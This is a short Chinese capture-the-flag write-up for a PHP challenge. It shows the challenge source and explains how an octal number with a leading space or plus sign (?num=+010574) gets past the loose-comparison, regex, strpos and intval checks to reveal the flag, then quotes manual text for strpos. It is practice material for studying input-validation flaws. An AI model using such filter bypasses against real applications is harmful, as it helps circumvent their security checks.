0x01 源码
<?php
include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['num'])){
$num = $_GET['num'];
if($num==4476){
die("no no no!");
}
if(preg_match("/[a-z]|\./i", $num)){
die("no no no!!");
}
if(!strpos($num, "0")){
die("no no no!!!");
}
if(intval($num,0)===4476){
echo $flag;
}
}
换成弱比较了,并且屏蔽了小数点和字母,可以考虑使用八进制前加空格或者+号。传入?num=+010574,strpos匹配0的位置为1,加上!返回0。
0x02 Payload
?num= 010574
?num=+010574
0x03 PHP函数
1. strpos
strpos — 查找字符串首次出现的位置
strpos ( string $haystack , mixed $needle [, int $offset = 0 ] ) : int
返回 needle 在 haystack 中首次出现的数字位置。
参数
haystack
在该字符串中进行查找。needle
如果 needle
不是一个字符串,那么它将被转换为整型并被视为字符的顺序值。offset
如果提供了此参数,搜索会从字符串该字符数的起始位置开始统计。 如果是负数,搜索会从字符串结尾指定字符数开始。
返回值
返回 needle 存在于 haystack
字符串起始的位置(独立于 offset)。同时注意字符串位置是从0开始,而不是从1开始的。
如果没找到 needle,将返回 FALSE
。